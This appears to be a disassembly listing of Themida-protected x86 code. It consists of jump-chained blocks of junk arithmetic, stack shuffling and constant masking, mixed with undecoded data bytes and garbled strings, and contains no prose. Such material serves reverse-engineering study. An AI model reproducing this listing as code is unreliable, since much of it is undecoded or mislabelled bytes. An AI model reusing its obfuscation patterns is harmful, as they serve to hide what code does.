--------------------------------------------------------------------------- db 0F7h, 0D5h, 87h aSsnr db 'ИИnR',0 align 2 dw 74FFh dd 8F590424h, 248B2404h, 2434FF24h, 582434FFh, 77C368h dd 24048900h, 405E089h, 0E9000000h, 0B007h ; --------------------------------------------------------------------------- loc_5370E0: ; CODE XREF: Themida_:0053A74Aj add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], ebx mov ebx, 234C6986h neg ebx sub ebx, 744179E1h sub ebx, 40CD6C9Ah inc ebx push ebp mov ebp, 27A4AFFCh sub ebx, ebp jmp loc_5409B1 ; --------------------------------------------------------------------------- loc_53710F: ; CODE XREF: Themida_:005407EBj pop esi sub ebx, ebp pop ebp xchg ebx, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 22773C1Dh add edi, 0DD88C3E4h sub esp, 4 mov [esp], edi xor dword ptr [esp], 49435E1Ch pop ebp xor ebp, 49435E1Ch mov edi, [esp] jmp loc_53E9F5 ; --------------------------------------------------------------------------- db 8Bh dd 1FE9243Ch db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_53714F: ; CODE XREF: Themida_:00541314j or edx, eax shl edx, 1 push 3250h mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_53F081 ; --------------------------------------------------------------------------- loc_53716E: ; CODE XREF: Themida_:005412B2j mov eax, [ebx] push dword ptr [esp] mov ebx, [esp] jmp loc_5414EC ; --------------------------------------------------------------------------- db 4 aBsW db '│И w',0 align 2 dw 0CEFEh dd 0C680D6F6h, 0E9F40040h, 63BBh, 24348B59h, 98AFE9h db 0 ; --------------------------------------------------------------------------- loc_537199: ; CODE XREF: Themida_:005385DFj push eax mov ah, dl mov bl, ah pop eax push 1B79h mov [esp], edx push ecx sub esp, 4 mov [esp], edx mov dl, bl mov ch, dl pop edx mov dh, ch mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_537B1C ; --------------------------------------------------------------------------- loc_5371CC: ; CODE XREF: Themida_:00537CB6j sub al, 0CAh push 68B1h mov [esp], edx push 6F44h mov [esp], eax push dx jmp loc_540666 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 68000000h, 1284h, 0BB241C89h, 48C80A5Bh, 0F02E9h db 0 ; --------------------------------------------------------------------------- loc_5371FD: ; CODE XREF: Themida_:0053E757j mov esp, [esp] jmp loc_536DC2 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 247Eh, 0C2815A54h, 4, 4EC81h, 61E90000h dd 0F700009Dh, 0BD07E9D1h, 0C4810000h, 4, 5417E9h, 240C8900h dd 0E1C09FB1h, 1CB45007h, 66A3C480h, 30F5B252h, 515A66D4h dd 80B0B450h, 0EC803EE4h, 700FE984h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53725A: ; CODE XREF: Themida_:0053FC29j jmp loc_536DC2 ; --------------------------------------------------------------------------- db 81h dd 4350F6C6h, 7623E940h, 0F9880000h, 58E1305Bh, 0CE00B0B6h dd 53240C8Bh, 55EFE9h, 24148900h, 0BB0C4868h, 0D2F75A6Dh dd 3109E9h, 240C8900h, 0C5FE7FB5h, 8AF580h, 2434FFE8h dd 8704E9h, 6357BB00h, 0EBC10465h, 0C3814B06h, 657C41h dd 815BDA29h, 850697C5h, 7F05E94Bh, 0E7890000h, 4C781h dd 0C7810000h, 4, 0E9243C87h, 9D1Eh, 0FF24248Bh, 34FF2434h dd 0EC815924h, 4, 89243489h, 4C681E6h, 81000000h, 4C6h dd 24348700h, 2FE9535Ch db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5372FF: ; CODE XREF: Themida_:0053F154j mov ecx, 0FFFFFFFFh sub [edi+24h], ecx jmp loc_53A9E3 ; --------------------------------------------------------------------------- dd 0A40CF281h, 0BF57BF75h, 20543356h, 0D9F7CF87h, 8A8AE9h dd 0F2814A00h, 564F50CCh, 5704E2C1h, 19C568h, 24148900h dd 0E43183BAh, 0FD09BF09h, 0D7013AFCh, 8324148Bh, 0FA2904C4h dd 11C3815Fh, 14C6A3Dh, 11EB81D3h, 5A4C6A3Dh, 5302C383h dd 42474FFh, 24048F5Bh, 0D224248Bh, 0E99C2424h, 0FFFFFA52h dd 240C8B66h, 4EC8151h, 89000000h, 4812424h, 424h, 0E9525900h dd 230Bh, 0BB53D829h, 26E87634h, 535BD801h, 2D44E9h, 2434FF00h dd 7288E959h, 89660000h, 0BA662414h, 2966D5F2h, 148B66D0h dd 98F6824h, 34890000h, 0A2E95424h, 66000046h, 0B0240489h dd 66C300B3h, 0E924048Bh, 5B77h, 8B2434FFh, 54572404h dd 83243C8Bh, 0B85004C4h, 0C9174BEh, 6E8B4605h, 8BC701F3h dd 0C7682404h, 8900003Dh, 0E189240Ch, 4C181h, 0C1810000h dd 4, 8B240C87h, 0C7832424h, 74FF5704h, 0A5E90424h, 5200003Eh dd 42474FFh, 8324148Bh, 48F04C4h, 0B1ECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53742E: ; CODE XREF: Themida_:005397FEj mov [esp], ebp push edi mov edi, ebx mov ebp, edi pop edi sub esp, 4 mov [esp], eax jmp loc_537884 ; --------------------------------------------------------------------------- dw 0C781h dd 64816CA8h, 3FB8C781h, 48B0908h, 4C48124h, 83000000h dd 6E904ECh, 5100001Dh, 4E9E189h, 5F000068h, 0E904C483h dd 5DBCh ; --------------------------------------------------------------------------- loc_537470: ; CODE XREF: Themida_:0053D05Dj mov edx, 6A8C1715h add ebx, 65504315h sub ebx, edx sub ebx, 65504315h pop edx jmp loc_53A014 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C4h, 3D856800h, 34890000h, 50EDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5374A2: ; CODE XREF: Themida_:00538081j add esp, 4 push 6C57h mov [esp], esi sub dword ptr [esp], 2F92483Dh pop eax add eax, 2F92483Dh mov esi, [esp] push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_5390AF ; --------------------------------------------------------------------------- dd 0C1665866h, 686603E7h, 89664864h, 0BD66242Ch, 3166AC47h dd 25ABE9EFh, 0C3010000h, 0B97EB81h, 48B7087h, 1432E924h dd 665C0000h, 6824048Bh, 7A64h, 68241C89h, 35FDh, 3C36E9h dd 51E95200h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537517: ; CODE XREF: Themida_:0053F8DFj pop ecx jmp loc_538054 ; --------------------------------------------------------------------------- db 81h, 0EFh, 5Ch dd 1527DA6h, 0C1815FF9h, 2, 499CE9h, 3EDC000h, 93E9CDFEh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53753B: ; CODE XREF: Themida_:0053EB06j add esp, 4 and ecx, eax mov eax, [esp] add esp, 4 shr ecx, 6 jmp loc_53B924 ; --------------------------------------------------------------------------- loc_537551: ; CODE XREF: Themida_:0053995Bj shl esi, 2 dec esi sub esp, 4 mov [esp], ebx mov ebx, 0E697410h add ebx, 0B6F3EB2Eh jmp loc_53E4B9 ; --------------------------------------------------------------------------- db 0BAh dd 0C01C80h, 535AD301h, 7F242C81h, 0E90E9627h, 6715h ; --------------------------------------------------------------------------- loc_537580: ; CODE XREF: Themida_:0053E0EBj add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, edx pop edx shr eax, 0Eh xor eax, ecx jmp loc_537C14 ; --------------------------------------------------------------------------- loc_53759D: ; CODE XREF: Themida_:00537A6Cj mov ebp, [esp] add esp, 4 add ecx, eax pop eax sub edx, ecx pop ecx mov ecx, edx mov edx, [esp] add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_53E66F push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_5382CE ; --------------------------------------------------------------------------- loc_5375CB: ; CODE XREF: Themida_:0053B1E2j push edi push edx push ebp mov ebp, 333D23E7h xor ebp, 54314355h jmp loc_53A310 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9522404h, 47F1h ; --------------------------------------------------------------------------- loc_5375E8: ; CODE XREF: Themida_:0053B2AEj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] loc_5375F8: ; CODE XREF: Themida_:0053F01Aj push 59F7h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_53F4F9 ; --------------------------------------------------------------------------- loc_537617: ; CODE XREF: Themida_:005395F4j push ebx mov ebx, 0 jmp loc_53709E ; --------------------------------------------------------------------------- loc_537622: ; CODE XREF: Themida_:0053C53Cj mov [esp], edi push esp pop edi push ecx mov ecx, 4AE72265h jmp loc_53CA1C ; --------------------------------------------------------------------------- dw 8F59h dd 248B2404h, 1DDBE924h, 0F5680000h, 0E900002Fh, 5FC4h ; --------------------------------------------------------------------------- loc_537648: ; CODE XREF: Themida_:00541B8Ej mov dh, 6Bh sub dh, 0A7h push eax mov ah, 0A2h dec ah not ah dec ah jmp loc_53C6AA ; --------------------------------------------------------------------------- db 0FFh dd 835D2434h, 0EE904C4h, 0AD00007Ch, 2950F105h, 68D82914h dd 7A93h, 89241C89h, 4C381E3h, 83000000h, 1C3304EBh, 241C3124h dd 8B241C33h, 2C892424h, 7A685024h, 0E94E5B77h, 93DCh dd 24048B66h, 167E68h, 24048900h, 4055854h, 83000000h dd 43304E8h, 24043124h, 5C240433h, 0E9241489h, 0FFFFFB4Ch ; --------------------------------------------------------------------------- loc_5376C4: ; CODE XREF: Themida_:0053C516j shl ebp, 7 add ebp, 6BB05F41h jmp loc_53D4FF ; --------------------------------------------------------------------------- loc_5376D2: ; CODE XREF: Themida_:0053D56Dj sub esp, 4 mov [esp], edx jmp loc_53AAF1 ; --------------------------------------------------------------------------- db 0BFh, 82h, 49h dd 0CF81494Eh, 222359BDh, 0DC2CC781h, 96E903B3h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5376F3: ; CODE XREF: Themida_:0053A41Aj push esi push ebx sub esp, 4 mov [esp], ebp push 5C6D3203h jmp loc_53EE75 ; --------------------------------------------------------------------------- dd 83242C89h, 48904ECh, 0B4BD5524h, 57499307h, 8C242CBFh dd 2C59E93Fh, 0E9510000h, 0FFFFF992h, 1D54C781h, 5AE95C07h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537733: ; CODE XREF: Themida_:0053D98Dj add edx, 3673150Dh add edx, eax push 1ACh mov [esp], edi push 2D15h mov [esp], esi mov esi, 4AC8051Eh mov edi, esi pop esi add edi, 2A9A3155h jmp loc_53E4F7 ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 0E95B5453h, 0D79h, 0F6A6B551h, 1B46E9D5h dd 665C0000h, 5324048Bh, 6FEEE954h, 0EA010000h, 0F638E95Dh dd 875FFFFFh, 248B2434h, 0FAF7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537796: ; CODE XREF: Themida_:00540D4Ej pop dword ptr [esp] jmp loc_53AC81 ; --------------------------------------------------------------------------- dw 0BD55h dd 748D09BEh, 2D03C581h, 0E93384h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5377AF: ; CODE XREF: Themida_:0053E67Bj pop eax sub esp, 4 jmp loc_540F98 ; --------------------------------------------------------------------------- db 50h dd 1B162AB8h, 55F10D09h, 20E971F5h, 1000021h, 14875FFAh dd 2C8B5C24h, 4C48324h, 2C815052h, 0A53B1B24h, 0C2815A54h dd 54A53B1Bh, 4EC81h, 14890000h, 2434FF24h, 2130E9h db 0 ; --------------------------------------------------------------------------- loc_5377F9: ; CODE XREF: Themida_:005396CEj shl edx, 1 jmp loc_53D370 ; --------------------------------------------------------------------------- dd 0FE06EBC0h, 940EE9C3h, 34FF0000h, 24048B24h, 8924E9h dd 4E7C000h, 0E9C1EF80h, 0A7C8h, 9BE9028Fh, 66FFFFF5h dd 5524048Bh, 7ABEE9h, 53B25200h, 0FE57CA80h, 7EAC0CAh dd 0F647EA80h, 2EC83DAh, 241C8966h, 68B65251h, 0E95AF588h dd 0FFFFFCDDh, 0E95DEF89h, 0DCDh, 345B8BBBh, 4E96E9C4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537866: ; CODE XREF: Themida_:0053A92Fj add edx, 4 jmp loc_5409C3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHru db '$hЮU',0 align 2 aI4TS3i db '┴4$T^И3╘',0 align 4 loc_537884: ; CODE XREF: Themida_:0053743Dj mov eax, ebp jmp loc_537F15 ; --------------------------------------------------------------------------- db 81h dd 42404h, 0B9E90000h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_537897: ; CODE XREF: Themida_:0053B9C5j add [esp+8], ecx pop ecx add [esp+4], edx sub dword ptr [esp+4], 747255E7h pop edx jmp loc_54031F ; --------------------------------------------------------------------------- dw 0FE2Dh dd 2930690Fh, 4BF8E9D8h, 48B0000h, 4EC8324h, 89243489h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 4EF835Ch, 8B243C87h dd 0C892424h, 0F4DCE924h, 0C531FFFFh, 5DE82958h, 0C7E9D801h dd 8300002Eh, 2EE902C0h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5378FB: ; CODE XREF: Themida_:0053D607j inc esi sub esi, 67133543h add ecx, esi pop esi xchg ecx, [esp] jmp loc_53AC04 ; --------------------------------------------------------------------------- aRsik db 'RИ╘K',0 dw 8B00h dd 89662424h, 0A3E92404h, 0F6FFFFF4h, 0FCF380D3h, 0D0F380h dd 712C5BD8h, 7104D828h, 62B65266h, 5A66F028h, 0E068AA04h dd 8900007Ah, 0B0502414h, 17FEE937h, 0CD680000h, 0E900002Dh dd 323Fh, 64E9815Eh, 0E935146Bh, 486Ch, 81E78957h, 4C7h dd 87FE900h, 0C6830000h, 24348702h, 3C31665Ch, 3C336624h dd 3C316624h, 0F43CE924h, 5550FFFFh, 95743CBDh, 5ACDB855h dd 1E95F35h, 0BD00001Ah, 2, 3DE9EF01h, 2800003Bh, 285B66DAh dd 2E685AD0h, 89000031h, 0A4B22414h, 6804E2C0h, 7045h dd 0E9240489h, 6A7Ch, 9C2404D2h, 0FFF3F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5379CD: ; CODE XREF: Themida_:0053F938j pop esi xor ebx, 0FCB03AE0h add edx, ebx pop ebx add edx, 6C086120h mov ecx, edx pop edx jmp loc_53E75C ; --------------------------------------------------------------------------- db 81h, 0C3h, 0BAh dd 0E932F365h, 4DA7h ; --------------------------------------------------------------------------- loc_5379F0: ; CODE XREF: Themida_:005409D9j add eax, edi jmp loc_540144 ; --------------------------------------------------------------------------- db 0B6h dd 80D6F648h, 0F680F5E6h, 0F6E68670h, 66E686D4h, 38B151h dd 805966CEh, 0E9B2C6h, 4000000h, 0A1FCE96Fh, 0EB810000h dd 819BA2BDh, 2AC8E9h, 8B545600h, 0C4832434h, 4BF5704h dd 1000000h, 0BD555FFEh, 4, 335DEE01h, 78E92434h, 8F00008Dh dd 0FF5C2404h, 25E92434h, 8800002Eh, 8217E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537A5E: ; CODE XREF: Themida_:0053999Bj pop ebp shr ebp, 1 inc ebp shl ebp, 1 xor ebp, 0AA550C61h mov ecx, ebp jmp loc_53759D ; --------------------------------------------------------------------------- loc_537A71: ; CODE XREF: Themida_:0053DE42j pop esi add edx, 4 xchg edx, [esp] pop esp push 541Ah mov [esp], esi push 1000000h push dword ptr [esp] push dword ptr [esp] pop esi push ebp push 2828h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_542567 ; --------------------------------------------------------------------------- loc_537AA5: ; CODE XREF: Themida_:0054116Bj pop eax xchg ecx, [esp] pop esp jmp loc_53F20D ; --------------------------------------------------------------------------- db 33h dd 14312414h, 4805E924h, 0D7F70000h, 241AE9h, 0ABF40500h dd 0C1298C3Eh, 531FE958h, 0BA520000h, 4, 148BD101h, 4C48324h dd 40C1E9h, 68564A00h, 6374h, 5E241489h, 46D6F75Ah, 860FE9h dd 0E9DE0100h, 733Bh, 8957C601h, 4C781E7h, 56000000h, 0DA7CCDBEh dd 0A9EE8126h, 0C1204C4Fh, 0E94E02EEh, 8C9Bh ; --------------------------------------------------------------------------- loc_537B1C: ; CODE XREF: Themida_:005371C7j xchg edi, [esp] jmp loc_53E3A9 ; --------------------------------------------------------------------------- loc_537B24: ; CODE XREF: Themida_:0053F8E6j xchg eax, ebx push ebx push edx pop ebx pop edx not edx xor ebx, edx xor edx, ebx xor ebx, edx sub esp, 4 mov [esp], eax jmp loc_53E4EC ; --------------------------------------------------------------------------- a_sP db '_Иф▐',0 dd 50E58900h, 4B8h, 0E9C50100h, 66C8h, 34FFE300h, 0C4835824h dd 0C0B60F04h, 688734FFh, 224Fh, 57241489h, 63A4E9h, 0BD555B00h dd 27FB5D13h, 51F4ED81h, 0ED816705h, 486D22EAh, 7A93BB53h dd 0F38146E8h, 57993052h, 5C79F381h, 0DD0121B4h, 0E9F5815Bh dd 1A94DFEh, 2434FFEBh, 509E95Dh, 52560000h, 3F776EBAh dd 0D280BE31h, 80E9AD60h, 8B0000ACh, 8957240Ch, 4C781E7h dd 0E9000000h, 76C0h, 0E635EA81h, 93E9C630h, 5D00002Eh dd 25C3814Bh, 18D4ECCh, 0E9555BDFh, 0FFFFFDAFh, 19646851h dd 58E90000h, 66000045h, 6824048Bh, 4403h, 89243C89h, 4C781E7h dd 56000000h, 1CE7BA52h, 0E9531EC8h, 8568h ; --------------------------------------------------------------------------- loc_537C14: ; CODE XREF: Themida_:00537598j push eax xchg ecx, [esp] push ecx not dword ptr [esp] mov ecx, [esp] jmp loc_539CCE ; --------------------------------------------------------------------------- dd 10E7B951h, 0D1F7256Eh, 0E981D1F7h, 1D43031Bh, 15E9CB31h dd 8700002Ah, 37E9241Ch db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_537C43: ; CODE XREF: Themida_:00542E0Bj xor [esp], ax pushf jmp loc_536DC2 ; --------------------------------------------------------------------------- db 5Eh, 8Bh, 2Ch dd 4C48124h, 0E9000000h, 6DBEh ; --------------------------------------------------------------------------- loc_537C5C: ; CODE XREF: Themida_:0053F4C6j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5428CA ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0A94CE4BEh, 4CE0BA33h, 0F23133A9h, 8124348Bh, 4C4h dd 7BE95200h, 100003Eh, 1BEF81C7h, 6805FC28h, 1AB8h, 0B8240489h dd 0CF45223h, 11F9E9h, 0C031B600h, 0F7E904EEh db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_537CAF: ; CODE XREF: Themida_:0053DB2Dj add al, 2Fh pop ecx add al, bl add al, 0B5h jmp loc_5371CC ; --------------------------------------------------------------------------- loc_537CBB: ; CODE XREF: Themida_:00540160j push edx pop dword ptr [ebx] push dword ptr [esp] pop ebx push 4645h mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, 749B21C3h add edi, ecx add edi, 749B21C3h pop ecx xchg edi, [esp] pop esp mov eax, [esp] add esp, 4 jmp loc_541E78 ; --------------------------------------------------------------------------- aIchan db '┴ФhaN',0 align 10h dd 54242C89h, 4C5815Dh, 81000000h, 4EDh, 242C8700h, 4D92E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_537D1A: ; CODE XREF: Themida_:0053F07Cj sub eax, 59D46004h pop edi add eax, 668B7214h sub ecx, eax pop eax mov [edx+38h], ecx mov ecx, [esp] add esp, 4 push dword ptr [edx+38h] push edi pop dword ptr [edx+38h] jmp loc_541EAA ; --------------------------------------------------------------------------- a313Ss db '3<$1<$3<$ИS"',0 align 2 dw 665Ch dd 9C243CD3h, 0FFF069E9h, 240C33FFh, 6624248Bh, 0E9240489h dd 0FFFFF05Ah, 0E350D435h, 45AEE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537D72: ; CODE XREF: Themida_:0053FF3Dj push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_536F26 ; --------------------------------------------------------------------------- aAqksx1 db '─О╙ИX1',0 align 4 loc_537D94: ; CODE XREF: Themida_:0053C602j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_53932D ; --------------------------------------------------------------------------- db 5Bh dd 58E5EE81h, 0C68114A4h, 7EB727FAh, 6E12C681h, 82E97FF2h dd 5500002Ch, 66FCE9h db 0 ; --------------------------------------------------------------------------- loc_537DC5: ; CODE XREF: Themida_:0053F42Aj add esi, ecx pop ecx and edi, esi mov esi, [esp] add esp, 4 add edi, 0FF3FA080h and ecx, edi pop edi shr ecx, 7 push 2CC7h mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp jmp loc_53FBCB ; --------------------------------------------------------------------------- loc_537DF2: ; CODE XREF: Themida_:0053B4CEj and eax, esi push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_53B69E ; --------------------------------------------------------------------------- dd 575AD101h, 4BFh, 5FF90100h, 9A3E9h, 148B6600h, 2C48124h dd 80000000h, 0F38027EBh, 8BDA30C7h, 0C481241Ch, 4, 85E9D030h dd 58000090h, 0E9F0E580h, 45F4h, 78E9D809h, 810000A3h dd 2337F1C1h, 81D9015Dh, 2337F1E9h, 0EC815B5Dh, 4, 0FF240C89h dd 59042474h, 5C24048Fh, 9C240430h, 0FFEF49E9h, 2434FFFFh dd 83240C8Bh, 0EC8304C4h, 242C8904h, 0C5815D54h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_537FE2 ; --------------------------------------------------------------------------- loc_537EA8: ; CODE XREF: Themida_:0053C117j mov ecx, 87774BDh xor ecx, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_53CA9D ; --------------------------------------------------------------------------- db 81h, 0C5h, 72h dd 2D5EB727h, 4B14335Bh, 5B05E801h, 0E94B1433h, 729Ch dd 0B2241489h, 912BE92Bh, 0EC830000h, 24148904h, 47BBE9h dd 4B75300h, 110968h, 24148900h, 0E680B2B6h, 80CEFEF4h dd 0F028E2EEh, 52F8285Ah, 0B052E9h db 0 ; --------------------------------------------------------------------------- loc_537F15: ; CODE XREF: Themida_:00537886j mov ecx, eax jmp loc_53C0B1 ; --------------------------------------------------------------------------- loc_537F1C: ; CODE XREF: Themida_:005423C2j add esi, ebp pop ebp xchg esi, [esp] pop esp and eax, ebx pop ebx shr eax, 10h xor eax, ecx push 3488h mov [esp], eax jmp loc_541F1C ; --------------------------------------------------------------------------- dd 68241C89h, 5CF7h, 0E9242489h, 9567h ; --------------------------------------------------------------------------- loc_537F48: ; CODE XREF: Themida_:0053F177j mov eax, edx mov edi, eax pop eax pop edx and eax, edi push dword ptr [esp] pop edi push ecx mov ecx, esp add ecx, 4 jmp loc_53E1F5 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0DAF7DAF7h, 0A9F4F281h, 30E9AA46h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537F73: ; CODE XREF: Themida_:0053AB4Bj shr edi, 4 sub edi, 0F3D2A928h jmp loc_53A771 ; --------------------------------------------------------------------------- db 51h, 89h, 0F9h aIY_skh db '┴мY_ИKh',0 db 0 ; --------------------------------------------------------------------------- loc_537F8D: ; CODE XREF: Themida_:005394A6j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 19AE664Bh sub eax, edi jmp loc_5394B9 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0BFE90000h, 50000001h, 0F480DFB4h, 4ECC080h dd 804BB753h, 0EFC0A6F7h, 0E0F78007h, 0E96CE780h, 37AAh dd 4C4835Bh, 0E96BC380h, 405Dh ; --------------------------------------------------------------------------- loc_537FD8: ; CODE XREF: Themida_:0053BFAEj add ebx, ebp mov ebp, [esp] jmp loc_540987 ; --------------------------------------------------------------------------- loc_537FE2: ; CODE XREF: Themida_:00537EA3j mov esi, 7F565819h xor esi, 7F56581Dh sub ebp, 0C07612Fh jmp loc_539960 ; --------------------------------------------------------------------------- loc_537FF8: ; CODE XREF: Themida_:0053DAD3j push ebx mov ebx, 4 jmp loc_539120 ; --------------------------------------------------------------------------- db 81h dd 0F33091F3h, 240C8B13h, 7BD6E9h, 28032C00h, 0E90304D8h dd 6EE1h, 4C581h, 0B9510000h, 5CD92FE1h, 0BF574949h, 0A326D023h dd 3C8BF901h, 4C48324h, 2BC9BF57h, 1AE97E87h, 8100008Fh dd 4C2h, 1DDE900h, 0E9560000h, 9067h ; --------------------------------------------------------------------------- loc_538054: ; CODE XREF: Themida_:00537518j mov esi, [esp] add esp, 4 pop eax push dword ptr [esp] pop edx add esp, 4 loc_538065: ; CODE XREF: Themida_:loc_53E5A2j push 282h mov [esp], ebp push 49D3h jmp loc_54220A ; --------------------------------------------------------------------------- loc_538077: ; CODE XREF: Themida_:0053B931j xchg edx, [esp] pop esp mov [esp], ebx mov esi, [esp] jmp loc_5374A2 ; --------------------------------------------------------------------------- dw 48Bh dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 0E924248Bh dd 0ADCFh, 241C8966h, 0BD04FEB7h, 0BD2CF800h, 0E95B66h dd 810000ABh, 4C4h, 4BE5600h, 0E9000000h, 3339h ; --------------------------------------------------------------------------- loc_5380C4: ; CODE XREF: Themida_:0053C6A5j mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_53EA38 ; --------------------------------------------------------------------------- aXs db 'XИ,',27h,0 align 4 dd 8B241487h, 0D3E92424h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5380EF: ; CODE XREF: Themida_:0053FB2Bj xchg edi, ebp not edi xchg edi, ebp jmp loc_53C260 ; --------------------------------------------------------------------------- loc_5380FA: ; CODE XREF: Themida_:005385B7j jmp loc_536DC2 ; --------------------------------------------------------------------------- db 0C1h dd 0DBF708E3h, 1DD06850h, 2C890000h, 7E2BD24h, 0C8E927CDh dd 2900000Dh, 0C2815DEAh, 6992458Dh, 0CC2DF281h, 0B8E9C185h dd 89000002h, 0B7E9242Ch, 8B000051h, 8957240Ch, 4C781E7h dd 0E9000000h, 968Ch ; --------------------------------------------------------------------------- loc_538144: ; CODE XREF: Themida_:0053E462j xor ebp, 790523B6h sub esi, ebp jmp loc_53BCF4 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C5h dd 0FFFFFFFFh, 62D9E9h, 0FED3F600h, 6F5F68C3h, 0C890000h dd 726DE924h, 0C5830000h, 74FF5502h, 8F5D0424h, 0CFE92404h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53817F: ; CODE XREF: Themida_:00539B7Fj not ebx xchg ebx, edx xor edx, 204B205Ah push eax mov eax, 5A654838h jmp loc_5392A9 ; --------------------------------------------------------------------------- dd 503ABB53h, 0B8505C38h, 1B3341FEh, 0F703E8C1h, 136DE9D0h dd 895C0000h, 5E542434h, 4C681h, 7E90000h, 8B00002Eh, 0C4832404h dd 4C48304h, 8702C683h, 248B2434h, 48B6624h, 59AF6824h dd 3C890000h, 7DDD6824h, 24890000h, 24048124h, 4, 1670E9h dd 4EF8100h, 57000000h, 42474FFh, 24048F5Fh, 240C895Ch dd 55BAE9h, 48B6600h, 48126824h, 3C890000h, 1497E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538216: ; CODE XREF: Themida_:005411E5j push ebx push 4 push dword ptr [esp] jmp loc_53B199 ; --------------------------------------------------------------------------- dd 0B3E9C501h, 83FFFFFEh, 148704EAh, 24248B24h, 0B9240C89h dd 22610BC7h, 0E9C1D1F7h, 52E98103h, 0F7DBDC5Fh, 6A8068D1h dd 0B7E90000h, 8900002Ah, 5045E9E3h, 0C1310000h, 59CE0158h dd 4C681h, 10680000h, 89000071h, 5A542414h, 4C281h, 0EA830000h dd 24148704h, 0E11E9h, 81F50100h, 127B31EDh, 2C875E5Dh dd 24248B24h, 5231E9h, 5AD68900h, 685EF031h, 6A9Ch, 146CE9h dd 81C30100h, 5A268AEBh, 0E930FF25h, 0FFFFEB0Eh, 3440C381h dd 0C38146DCh, 12BCCC3h, 335BDE01h, 34312434h, 0A7F8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5382CE: ; CODE XREF: Themida_:005375C6j push edx push esp pop edx add edx, 4 push ebx mov ebx, 224C1127h shr ebx, 1 jmp loc_542025 ; --------------------------------------------------------------------------- dd 2BDh, 5CEB8100h, 16D5B0Bh, 3602E9EBh, 0C2830000h, 81D2F701h dd 83C043F2h, 5AD389EAh, 70BBC281h, 0DA012E9Dh, 70BBEA81h dd 0E95B2E9Dh, 1002h, 0E924048Bh, 846Eh ; --------------------------------------------------------------------------- loc_538320: ; CODE XREF: Themida_:00540052j add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] dec dword ptr [esp] pushf jmp loc_536DC2 ; --------------------------------------------------------------------------- aBxiIxscb db '│Е╘&IxИГ║',0 dw 8700h dd 895C243Ch, 93BA2414h, 97AFF70h, 24148BD6h, 0C104C483h dd 0F68104EEh, 7FFF77Fh, 8AAC281h, 0F2012D28h, 8AAEA81h dd 565E2D28h, 2BEh, 5EF20100h, 36A6E9h, 5A685500h, 8B4D4F2Dh dd 0C481242Ch, 4, 4836F581h, 5A55503Fh, 0E9D0015Dh, 0E93h dd 81243C8Bh, 4C4h, 0E9D68700h, 0FFFFF735h, 0A8A3E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5383B2: ; CODE XREF: 